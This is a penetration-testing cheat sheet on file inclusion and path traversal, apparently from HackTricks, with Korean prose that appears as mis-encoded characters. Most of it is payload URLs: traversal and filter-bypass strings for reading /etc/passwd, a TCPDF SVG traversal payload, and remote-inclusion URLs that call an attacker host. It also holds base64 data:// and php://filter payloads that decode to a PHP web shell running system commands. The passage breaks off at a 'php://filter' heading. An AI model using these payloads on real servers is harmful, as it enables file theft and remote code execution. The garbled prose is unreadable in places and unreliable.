File Inclusion/Path traversal

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

File Inclusion

Remote File Inclusion (RFI): ํŒŒ์ผ์ด ์›๊ฒฉ ์„œ๋ฒ„์—์„œ ๋กœ๋“œ๋ฉ๋‹ˆ๋‹ค (์žฅ์ : ์ฝ”๋“œ๋ฅผ ์ž‘์„ฑํ•˜๋ฉด ์„œ๋ฒ„๊ฐ€ ์ด๋ฅผ ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค). php์—์„œ๋Š” ๊ธฐ๋ณธ์ ์œผ๋กœ ๋น„ํ™œ์„ฑํ™”๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค (allow_url_include).
Local File Inclusion (LFI): ์„œ๋ฒ„๊ฐ€ ๋กœ์ปฌ ํŒŒ์ผ์„ ๋กœ๋“œํ•ฉ๋‹ˆ๋‹ค.

์ด ์ทจ์•ฝ์ ์€ ์‚ฌ์šฉ์ž๊ฐ€ ์„œ๋ฒ„๊ฐ€ ๋กœ๋“œํ•  ํŒŒ์ผ์„ ์–ด๋–ค ์‹์œผ๋กœ๋“  ์ œ์–ดํ•  ์ˆ˜ ์žˆ์„ ๋•Œ ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค.

์ทจ์•ฝํ•œ PHP functions: require, require_once, include, include_once

์ด ์ทจ์•ฝ์ ์„ ์•…์šฉํ•˜๊ธฐ ์œ„ํ•œ ํฅ๋ฏธ๋กœ์šด ๋„๊ตฌ: https://github.com/kurobeats/fimap

Blind - Interesting - LFI2RCE files

wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ

Linux

์—ฌ๋Ÿฌ *nix LFI ๋ชฉ๋ก์„ ๊ฒฐํ•ฉํ•˜๊ณ  ๊ฒฝ๋กœ๋ฅผ ์ถ”๊ฐ€ํ•˜์—ฌ ์ด ๋ชฉ๋ก์„ ๋งŒ๋“ค์—ˆ์Šต๋‹ˆ๋‹ค:

Auto_Wordlists/wordlists/file_inclusion_linux.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

๋˜ํ•œ /์„ \๋กœ ๋ฐ”๊ฟ”๋ณด์„ธ์š”
๋˜ํ•œ ../../../../../๋ฅผ ์ถ”๊ฐ€ํ•ด ๋ณด์„ธ์š”

์ทจ์•ฝ์  ์กด์žฌ ์—ฌ๋ถ€๋ฅผ ํ™•์ธํ•˜๊ธฐ ์œ„ํ•ด ์—ฌ๋Ÿฌ ๊ธฐ๋ฒ•์„ ์‚ฌ์šฉํ•ด /etc/password ํŒŒ์ผ์„ ์ฐพ๋Š” ๋ชฉ๋ก์€ ์—ฌ๊ธฐ์—์„œ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค

Windows

์—ฌ๋Ÿฌ wordlists์˜ ๋ณ‘ํ•ฉ:

https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt

๋˜ํ•œ /์„ \๋กœ ๋ฐ”๊ฟ”๋ณด์„ธ์š”
๋˜ํ•œ C:/๋ฅผ ์ œ๊ฑฐํ•˜๊ณ  ../../../../../๋ฅผ ์ถ”๊ฐ€ํ•ด ๋ณด์„ธ์š”

์ทจ์•ฝ์  ์กด์žฌ ์—ฌ๋ถ€๋ฅผ ํ™•์ธํ•˜๊ธฐ ์œ„ํ•ด ์—ฌ๋Ÿฌ ๊ธฐ๋ฒ•์„ ์‚ฌ์šฉํ•ด /boot.ini ํŒŒ์ผ์„ ์ฐพ๋Š” ๋ชฉ๋ก์€ ์—ฌ๊ธฐ์—์„œ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค

OS X

Linux์˜ LFI ๋ชฉ๋ก์„ ํ™•์ธํ•˜์„ธ์š”.

Basic LFI and bypasses

๋ชจ๋“  ์˜ˆ์ œ๋Š” Local File Inclusion์— ๊ด€ํ•œ ๊ฒƒ์ด์ง€๋งŒ Remote File Inclusion์—๋„ ์ ์šฉ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค (page=http://myserver.com/phpshellcode.txt\.

http://example.com/index.php?page=../../../etc/passwd

traversal sequences๊ฐ€ ๋น„์žฌ๊ท€์ ์œผ๋กœ ์ œ๊ฑฐ๋จ

http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd

Null byte (%00)

์ œ๊ณต๋œ ๋ฌธ์ž์—ด ๋์— ์ถ”๊ฐ€ ๋ฌธ์ž๋ฅผ ๋ง๋ถ™์ด๋Š” ๋™์ž‘์„ Bypass (bypass of: $_GET[โ€˜paramโ€™].โ€œphpโ€)

http://example.com/index.php?page=../../../etc/passwd%00

์ด๋Š” PHP 5.4๋ถ€ํ„ฐ ํ•ด๊ฒฐ๋˜์—ˆ์Šต๋‹ˆ๋‹ค

์ธ์ฝ”๋”ฉ

๋น„ํ‘œ์ค€ ์ธ์ฝ”๋”ฉ(์˜ˆ: double URL encode ๋“ฑ)์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00

HTML-to-PDF SVG/IMG path traversal

Modern HTML-to-PDF engines (e.g. TCPDF or wrappers such as html2pdf) happily parse attacker-provided HTML, SVG, CSS, and font URLs, yet they run inside trusted backend networks with filesystem access. Once you can inject HTML into $pdf->writeHTML()/Html2Pdf::writeHTML(), you can often exfiltrate local files that the web server account can read.

  • Fingerprint the renderer: ์ƒ์„ฑ๋œ ๋ชจ๋“  PDF๋Š” Producer ํ•„๋“œ(์˜ˆ: TCPDF 6.8.2)๋ฅผ ํฌํ•จํ•ฉ๋‹ˆ๋‹ค. ์ •ํ™•ํ•œ ๋นŒ๋“œ๋ฅผ ์•Œ๋ฉด ์–ด๋–ค ๊ฒฝ๋กœ ํ•„ํ„ฐ๊ฐ€ ์กด์žฌํ•˜๋Š”์ง€, URL ๋””์ฝ”๋”ฉ์ด ๊ฒ€์ฆ ์ „์— ์ˆ˜ํ–‰๋˜๋Š”์ง€ ์•Œ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • Inline SVG payloads: TCPDF::startSVGElementHandler()๋Š” urldecode()๋ฅผ ์‹คํ–‰ํ•˜๊ธฐ ์ „์— <image> ์š”์†Œ์˜ xlink:href ์†์„ฑ์„ ์ฝ์Šต๋‹ˆ๋‹ค. ์•…์„ฑ SVG๋ฅผ data URI ์•ˆ์— ํฌํ•จํ•˜๋ฉด ๋งŽ์€ HTML ์ •ํ™”๊ธฐ๋“ค์ด ํŽ˜์ด๋กœ๋“œ๋ฅผ ๋ฌด์‹œํ•˜์ง€๋งŒ TCPDF๋Š” ์—ฌ์ „ํžˆ ์ด๋ฅผ ํŒŒ์‹ฑํ•ฉ๋‹ˆ๋‹ค:
<img src="data:image/svg+xml;base64,PHN2ZyB2aWV3Qm94PSIwIDAgMCAwIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjxpbWFnZSB4bGluazpocmVmPSIuLi8uLi8uLi8uLi8uLi90bXAvdXNlcl9maWxlcy91c2VyXzEvcHJpdmF0ZV9pbWFnZS5wbmciIGhlaWdodD0iMTAwJSIgd2lkdGg9IjEwMCUiLz48L3N2Zz4=" />

TCPDF๋Š” /๋กœ ์‹œ์ž‘ํ•˜๋Š” ๊ฒฝ๋กœ์— $_SERVER['DOCUMENT_ROOT']๋ฅผ ๋ฏธ๋ฆฌ ๋ถ™์ด๊ณ  ..๋Š” ๋‚˜์ค‘์— ํ•ด์„ํ•˜๋ฏ€๋กœ, prepend ํ›„ ๋ฃจํŠธ๋ฅผ ๋ฒ—์–ด๋‚˜๋ ค๋ฉด ์„ ํ–‰์œผ๋กœ ../../.. ์„ธ๊ทธ๋จผํŠธ๋‚˜ /../../..๋ฅผ ์‚ฌ์šฉํ•˜์„ธ์š”.

  • Encoding to bypass naive filters: Versions โ‰ค6.8.2๋Š” URL์„ ๋””์ฝ”๋”ฉํ•˜๊ธฐ ์ „์— ๋ฆฌํ„ฐ๋Ÿด ๋ถ€๋ถ„ ๋ฌธ์ž์—ด ../๋งŒ ๊ฒ€์‚ฌํ•ฉ๋‹ˆ๋‹ค. SVG ๋˜๋Š” ์›์‹œ <img src> ์†์„ฑ์— ..%2f(๋˜๋Š” ..%2F)๋ฅผ ์ „์†กํ•˜๋ฉด TCPDF๊ฐ€ urldecode()๋ฅผ ํ˜ธ์ถœํ•œ ๋’ค์—์•ผ traversal์ธ ../ ์‹œํ€€์Šค๊ฐ€ ์žฌ์ƒ์„ฑ๋˜๋ฏ€๋กœ ๊ฒ€์‚ฌ๋ฅผ ์šฐํšŒํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • Double-encoding for multi-stage decoding: ์›น ํ”„๋ ˆ์ž„์›Œํฌ์—์„œ ํ•œ ๋ฒˆ, TCPDF์—์„œ ๋˜ ํ•œ ๋ฒˆ ์‚ฌ์šฉ์ž ์ž…๋ ฅ์„ ๋””์ฝ”๋”ฉํ•˜๋Š” ํ™˜๊ฒฝ์ด๋ผ๋ฉด ์Šฌ๋ž˜์‹œ๋ฅผ ์ด์ค‘ ์ธ์ฝ”๋”ฉ(%252f)ํ•˜์„ธ์š”. ํ•œ ๋ฒˆ์˜ ๋””์ฝ”๋”ฉ์œผ๋กœ %2f๊ฐ€ ๋˜๊ณ , TCPDF์—์„œ์˜ ๋‘๋ฒˆ์งธ ๋””์ฝ”๋”ฉ์œผ๋กœ /๊ฐ€ ๋˜์–ด /..%252f.. โ†’ /../../../โ€ฆ์ฒ˜๋Ÿผ ๋˜๋ฉฐ ์ดˆ๊ธฐ ํ•„ํ„ฐ์— ../๊ฐ€ ๋…ธ์ถœ๋˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค.
  • HTML <img> handler: TCPDF::openHTMLTagHandler()๋Š” ๋™์ผํ•œ ์ˆœ์„œ ๋ฌธ์ œ ๋ฒ„๊ทธ๋ฅผ ํฌํ•จํ•˜๊ณ  ์žˆ์–ด src="%2f..%252f..%252ftmp%252fsecret.png" ๊ฐ™์€ ์ง์ ‘ HTML ํŽ˜์ด๋กœ๋“œ๋กœ ๋กœ์ปฌ์—์„œ ์ ‘๊ทผ ๊ฐ€๋Šฅํ•œ ๋น„ํŠธ๋งต์„ ์ฝ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

This technique leaks anything readable by the PDF worker (passport scans, API keys rendered as images, etc.). Hardeners fixed it in 6.9.1 by canonicalising paths (isRelativePath()), so during tests prioritise older Producer versions.

From existent folder

๋ฐฑ์—”๋“œ๊ฐ€ ํด๋” ๊ฒฝ๋กœ๋ฅผ ๊ฒ€์‚ฌํ•˜๊ณ  ์žˆ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd

์„œ๋ฒ„์˜ ํŒŒ์ผ ์‹œ์Šคํ…œ ๋””๋ ‰ํ† ๋ฆฌ ํƒ์ƒ‰

์„œ๋ฒ„์˜ ํŒŒ์ผ ์‹œ์Šคํ…œ์€ ํŠน์ • ๊ธฐ๋ฒ•์„ ์‚ฌ์šฉํ•ด ํŒŒ์ผ๋ฟ ์•„๋‹ˆ๋ผ ๋””๋ ‰ํ† ๋ฆฌ๋„ ์žฌ๊ท€์ ์œผ๋กœ ํƒ์ƒ‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ๊ณผ์ •์€ ๋””๋ ‰ํ† ๋ฆฌ ๊นŠ์ด๋ฅผ ํŒŒ์•…ํ•˜๊ณ  ํŠน์ • ํด๋”์˜ ์กด์žฌ ์—ฌ๋ถ€๋ฅผ ํ™•์ธํ•˜๋Š” ์ž‘์—…์„ ํฌํ•จํ•ฉ๋‹ˆ๋‹ค. ์•„๋ž˜๋Š” ์ด๋ฅผ ๋‹ฌ์„ฑํ•˜๊ธฐ ์œ„ํ•œ ์ƒ์„ธํ•œ ๋ฐฉ๋ฒ•์ž…๋‹ˆ๋‹ค:

  1. ๋””๋ ‰ํ† ๋ฆฌ ๊นŠ์ด ํŒŒ์•…: ํ˜„์žฌ ๋””๋ ‰ํ† ๋ฆฌ์˜ ๊นŠ์ด๋Š” /etc/passwd ํŒŒ์ผ์„ ์„ฑ๊ณต์ ์œผ๋กœ ๊ฐ€์ ธ์™€์„œ ํ™•์ธํ•ฉ๋‹ˆ๋‹ค (์„œ๋ฒ„๊ฐ€ Linux ๊ธฐ๋ฐ˜์ธ ๊ฒฝ์šฐ์— ํ•ด๋‹น). ์˜ˆ์‹œ URL์€ ๋‹ค์Œ๊ณผ ๊ฐ™์ด ๊ตฌ์„ฑ๋  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ๊นŠ์ด๊ฐ€ ์„ธ ๋‹จ๊ณ„์ž„์„ ๋‚˜ํƒ€๋ƒ…๋‹ˆ๋‹ค:
http://example.com/index.php?page=../../../etc/passwd # depth of 3
  1. ํด๋” ํƒ์ƒ‰: ์˜์‹ฌ๋˜๋Š” ํด๋” ์ด๋ฆ„(์˜ˆ: private)์„ URL์— ์ถ”๊ฐ€ํ•œ ๋‹ค์Œ /etc/passwd๋กœ ๋‹ค์‹œ ์ด๋™ํ•ฉ๋‹ˆ๋‹ค. ์ถ”๊ฐ€๋œ ๋””๋ ‰ํ„ฐ๋ฆฌ ๋ ˆ๋ฒจ ๋•Œ๋ฌธ์— depth๋ฅผ ํ•˜๋‚˜ ์ฆ๊ฐ€์‹œ์ผœ์•ผ ํ•ฉ๋‹ˆ๋‹ค:
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
  1. Interpret the Outcomes: ์„œ๋ฒ„์˜ ์‘๋‹ต์€ ํ•ด๋‹น ํด๋”์˜ ์กด์žฌ ์—ฌ๋ถ€๋ฅผ ํ‘œ์‹œํ•ฉ๋‹ˆ๋‹ค:
  • ์˜ค๋ฅ˜ / ์ถœ๋ ฅ ์—†์Œ: ํด๋” private๋Š” ์ง€์ •๋œ ์œ„์น˜์— ์กด์žฌํ•˜์ง€ ์•Š์„ ๊ฐ€๋Šฅ์„ฑ์ด ๋†’์Šต๋‹ˆ๋‹ค.
  • /etc/passwd์˜ ๋‚ด์šฉ: private ํด๋”์˜ ์กด์žฌ๊ฐ€ ํ™•์ธ๋ฉ๋‹ˆ๋‹ค.
  1. ์žฌ๊ท€์  ํƒ์ƒ‰: ๋ฐœ๊ฒฌ๋œ ํด๋”๋Š” ๋™์ผํ•œ ๊ธฐ๋ฒ•์ด๋‚˜ ๊ธฐ์กด์˜ Local File Inclusion (LFI) ๋ฐฉ๋ฒ•์„ ์‚ฌ์šฉํ•ด ํ•˜์œ„ ๋””๋ ‰ํ„ฐ๋ฆฌ๋‚˜ ํŒŒ์ผ์„ ์ถ”๊ฐ€๋กœ ํƒ์ƒ‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

For exploring directories at different locations in the file system, adjust the payload accordingly. For instance, to check if /var/www/ contains a private directory (assuming the current directory is at a depth of 3), use:

http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd

Path Truncation Technique

Path truncation์€ ์›น ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์—์„œ ํŒŒ์ผ ๊ฒฝ๋กœ๋ฅผ ์กฐ์ž‘ํ•˜๊ธฐ ์œ„ํ•ด ์‚ฌ์šฉ๋˜๋Š” ๋ฐฉ๋ฒ•์ด๋‹ค. ๋ณด์•ˆ ์กฐ์น˜๊ฐ€ ํŒŒ์ผ ๊ฒฝ๋กœ ๋์— ์ถ”๊ฐ€ ๋ฌธ์ž๋ฅผ ๋ถ™์—ฌ ์ ‘๊ทผ์„ ์ฐจ๋‹จํ•  ๋•Œ ์ด๋ฅผ ์šฐํšŒํ•ด ์ œํ•œ๋œ ํŒŒ์ผ์— ์ ‘๊ทผํ•˜๋Š” ๋ฐ ์ž์ฃผ ์“ฐ์ธ๋‹ค. ๋ชฉํ‘œ๋Š” ๋ณด์•ˆ ์กฐ์น˜๋กœ ์ธํ•ด ๋ณ€๊ฒฝ๋œ ์ดํ›„์—๋„ ์—ฌ์ „ํžˆ ์›ํ•˜๋Š” ํŒŒ์ผ์„ ๊ฐ€๋ฆฌํ‚ค๋Š” ํŒŒ์ผ ๊ฒฝ๋กœ๋ฅผ ๋งŒ๋“œ๋Š” ๊ฒƒ์ด๋‹ค.

In PHP์—์„œ๋Š” ํŒŒ์ผ ์‹œ์Šคํ…œ ํŠน์„ฑ์ƒ ์—ฌ๋Ÿฌ ํ‘œํ˜„์˜ ํŒŒ์ผ ๊ฒฝ๋กœ๊ฐ€ ๋™์ผํ•˜๊ฒŒ ์ทจ๊ธ‰๋  ์ˆ˜ ์žˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค๋ฉด:

  • /etc/passwd, /etc//passwd, /etc/./passwd, ๊ทธ๋ฆฌ๊ณ  /etc/passwd/๋Š” ๋ชจ๋‘ ๋™์ผํ•œ ๊ฒฝ๋กœ๋กœ ์ฒ˜๋ฆฌ๋œ๋‹ค.
  • ๋งˆ์ง€๋ง‰ 6๊ธ€์ž๊ฐ€ passwd์ผ ๋•Œ /๋ฅผ ๋ง๋ถ™์—ฌ passwd/๋กœ ๋งŒ๋“ค์–ด๋„ ๋Œ€์ƒ ํŒŒ์ผ์€ ๋ณ€๊ฒฝ๋˜์ง€ ์•Š๋Š”๋‹ค.
  • ๋งˆ์ฐฌ๊ฐ€์ง€๋กœ ํŒŒ์ผ ๊ฒฝ๋กœ์— .php๊ฐ€ ๋ถ™๋Š” ๊ฒฝ์šฐ(์˜ˆ: shellcode.php) ๋์— /.๋ฅผ ์ถ”๊ฐ€ํ•ด๋„ ์ ‘๊ทผ๋˜๋Š” ํŒŒ์ผ์€ ๋ฐ”๋€Œ์ง€ ์•Š๋Š”๋‹ค.

๋‹ค์Œ ์˜ˆ์‹œ๋“ค์€ Path truncation์„ ์ด์šฉํ•ด /etc/passwd์— ์ ‘๊ทผํ•˜๋Š” ๋ฐฉ๋ฒ•์„ ๋ณด์—ฌ์ค€๋‹ค. /etc/passwd๋Š” ๋ฏผ๊ฐํ•œ ๋‚ด์šฉ(์‚ฌ์šฉ์ž ๊ณ„์ • ์ •๋ณด)์„ ๋‹ด๊ณ  ์žˆ์–ด ํ”ํžˆ ํƒ€๊นƒ์ด ๋œ๋‹ค:

http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd

์ด๋Ÿฌํ•œ ์‹œ๋‚˜๋ฆฌ์˜ค์—์„œ๋Š” ํ•„์š”ํ•œ traversals ์ˆ˜๊ฐ€ ์•ฝ 2027๊ฐœ ์ •๋„์ผ ์ˆ˜ ์žˆ์ง€๋งŒ, ์ด ์ˆซ์ž๋Š” ์„œ๋ฒ„ ๊ตฌ์„ฑ์— ๋”ฐ๋ผ ๋‹ฌ๋ผ์งˆ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

  • Using Dot Segments and Additional Characters: ../ ์‹œํ€€์Šค์™€ ์ถ”๊ฐ€ dot segments ๋ฐ ๋ฌธ์ž๋“ค์„ ๊ฒฐํ•ฉํ•˜์—ฌ ํŒŒ์ผ ์‹œ์Šคํ…œ์„ ํƒ์ƒ‰ํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์„œ๋ฒ„๊ฐ€ ๋ง๋ถ™์ธ ๋ฌธ์ž์—ด์„ ๋ฌด์‹œํ•˜๋„๋ก ๋งŒ๋“ค ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • Determining the Required Number of Traversals: ์‹œ๋„์™€ ์˜ค๋ฅ˜๋ฅผ ํ†ตํ•ด ๋ฃจํŠธ ๋””๋ ‰ํ„ฐ๋ฆฌ๋กœ ์ด๋™ํ•œ ๋‹ค์Œ /etc/passwd์— ๋„๋‹ฌํ•˜๋Š” ๋ฐ ํ•„์š”ํ•œ ์ •ํ™•ํ•œ ../ ์‹œํ€€์Šค ์ˆ˜๋ฅผ ์ฐพ์•„, .php ๊ฐ™์€ ๋ง๋ถ™์—ฌ์ง„ ๋ฌธ์ž์—ด์„ ๋ฌด๋ ฅํ™”ํ•˜๋ฉด์„œ๋„ ์›ํ•˜๋Š” ๊ฒฝ๋กœ(/etc/passwd)๋Š” ์œ ์ง€๋˜๋„๋ก ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • Starting with a Fake Directory: ๊ฒฝ๋กœ๋ฅผ ์กด์žฌํ•˜์ง€ ์•Š๋Š” ๋””๋ ‰ํ„ฐ๋ฆฌ(์˜ˆ: a/)๋กœ ์‹œ์ž‘ํ•˜๋Š” ๊ฒƒ์€ ์ผ๋ฐ˜์ ์ธ ๊ด€ํ–‰์ž…๋‹ˆ๋‹ค. ์ด ๊ธฐ๋ฒ•์€ ์˜ˆ๋ฐฉ ์กฐ์น˜๋กœ ์‚ฌ์šฉ๋˜๊ฑฐ๋‚˜ ์„œ๋ฒ„์˜ ๊ฒฝ๋กœ ํŒŒ์‹ฑ ๋กœ์ง ์š”๊ตฌ์‚ฌํ•ญ์„ ์ถฉ์กฑ์‹œํ‚ค๊ธฐ ์œ„ํ•ด ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค.

path truncation techniques๋ฅผ ์‚ฌ์šฉํ•  ๋•Œ์—๋Š” ์„œ๋ฒ„์˜ ๊ฒฝ๋กœ ํŒŒ์‹ฑ ๋™์ž‘๊ณผ ํŒŒ์ผ์‹œ์Šคํ…œ ๊ตฌ์กฐ๋ฅผ ์ดํ•ดํ•˜๋Š” ๊ฒƒ์ด ์ค‘์š”ํ•ฉ๋‹ˆ๋‹ค. ๊ฐ ์‹œ๋‚˜๋ฆฌ์˜ค๋งˆ๋‹ค ๋‹ค๋ฅธ ์ ‘๊ทผ์ด ํ•„์š”ํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ๊ฐ€์žฅ ํšจ๊ณผ์ ์ธ ๋ฐฉ๋ฒ•์„ ์ฐพ๊ธฐ ์œ„ํ•ด ํ…Œ์ŠคํŠธ๊ฐ€ ์ž์ฃผ ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค.

์ด ์ทจ์•ฝ์ ์€ PHP 5.3์—์„œ ์ˆ˜์ •๋˜์—ˆ์Šต๋‹ˆ๋‹ค.

Filter bypass tricks

http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter

Remote File Inclusion

php์—์„œ๋Š” ๊ธฐ๋ณธ์ ์œผ๋กœ ๋น„ํ™œ์„ฑํ™”๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค. ๊ทธ ์ด์œ ๋Š” **allow_url_include**๊ฐ€ **Off.**์ด๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค. ์ž‘๋™ํ•˜๋ ค๋ฉด On์ด์–ด์•ผ ํ•˜๋ฉฐ, ๊ทธ ๊ฒฝ์šฐ ์„œ๋ฒ„์˜ PHP ํŒŒ์ผ์„ ํฌํ•จํ•˜์—ฌ RCE๋ฅผ ์–ป์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php

๋งŒ์•ฝ ์–ด๋–ค ์ด์œ ๋กœ **allow_url_include**๊ฐ€ On์ด๊ณ , PHP๊ฐ€ ์™ธ๋ถ€ ์›นํŽ˜์ด์ง€ ์ ‘๊ทผ์„ filteringํ•˜๊ณ  ์žˆ๋‹ค๋ฉด, according to this post, ์˜ˆ๋ฅผ ๋“ค์–ด data protocol๊ณผ base64๋ฅผ ์‚ฌ์šฉํ•ด b64 PHP ์ฝ”๋“œ๋ฅผ ๋””์ฝ”๋“œํ•˜์—ฌ RCE๋ฅผ ์–ป์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt

Tip

์ด์ „ ์ฝ”๋“œ์—์„œ, ๋งˆ์ง€๋ง‰์˜ +.txt๋Š” attacker๊ฐ€ .txt๋กœ ๋๋‚˜๋Š” ๋ฌธ์ž์—ด์„ ํ•„์š”๋กœ ํ–ˆ๊ธฐ ๋•Œ๋ฌธ์— ์ถ”๊ฐ€๋˜์—ˆ์Šต๋‹ˆ๋‹ค. ๊ทธ๋ž˜์„œ ๋ฌธ์ž์—ด์€ ๊ทธ๋กœ ๋๋‚˜๋ฉฐ, b64 decode ํ›„ ๊ทธ ๋ถ€๋ถ„์€ ๋‹จ์ˆœํ•œ junk๋ฅผ ๋ฐ˜ํ™˜ํ•˜๊ณ  ์‹ค์ œ PHP ์ฝ”๋“œ๋Š” ํฌํ•จ๋˜์–ด(๋”ฐ๋ผ์„œ ์‹คํ–‰๋ฉ๋‹ˆ๋‹ค).

๋‹ค๋ฅธ ์˜ˆ์ œ php:// ํ”„๋กœํ† ์ฝœ์„ ์‚ฌ์šฉํ•˜์ง€ ์•Š๋Š” ๊ฒฝ์šฐ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค:

data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt

Python ๋ฃจํŠธ ์š”์†Œ

๋‹ค์Œ๊ณผ ๊ฐ™์€ Python ์ฝ”๋“œ์—์„œ๋Š”:

# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)

์‚ฌ์šฉ์ž๊ฐ€ absolute path๋ฅผ **file_name**์— ์ „๋‹ฌํ•˜๋ฉด, ์ด์ „ ๊ฒฝ๋กœ๋Š” ๋‹จ์ˆœํžˆ ์ œ๊ฑฐ๋ฉ๋‹ˆ๋‹ค:

os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'

์ด๊ฒƒ์€ the docs์— ๋”ฐ๋ฅธ ์˜๋„๋œ ๋™์ž‘์ž…๋‹ˆ๋‹ค:

If a component is an absolute path, all previous components are thrown away and joining continues from the absolute path component.

Java ๋””๋ ‰ํ„ฐ๋ฆฌ ๋ชฉ๋ก

๋ณด์ด๋Š” ๋ฐ”์— ๋”ฐ๋ฅด๋ฉด, Java์—์„œ Path Traversal์ด ์žˆ๊ณ  ํŒŒ์ผ ๋Œ€์‹  ๋””๋ ‰ํ„ฐ๋ฆฌ๋ฅผ ์š”์ฒญํ•˜๋ฉด, ๋””๋ ‰ํ„ฐ๋ฆฌ ๋ชฉ๋ก์ด ๋ฐ˜ํ™˜๋ฉ๋‹ˆ๋‹ค. ๋‹ค๋ฅธ ์–ธ์–ด์—์„œ๋Š”(๋‚ด๊ฐ€ ์•Œ๊ธฐ๋กœ๋Š”) ์ด๋Ÿฐ ์ผ์ด ๋ฐœ์ƒํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค.

์ƒ์œ„ 25๊ฐœ ํŒŒ๋ผ๋ฏธํ„ฐ

๋‹ค์Œ์€ local file inclusion (LFI) ์ทจ์•ฝ์ ์— ๋…ธ์ถœ๋  ์ˆ˜ ์žˆ๋Š” ์ƒ์œ„ 25๊ฐœ ํŒŒ๋ผ๋ฏธํ„ฐ ๋ชฉ๋ก์ž…๋‹ˆ๋‹ค (from link):

?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}

LFI / RFI: PHP wrappers ๋ฐ ํ”„๋กœํ† ์ฝœ ์‚ฌ์šฉ

php://filter

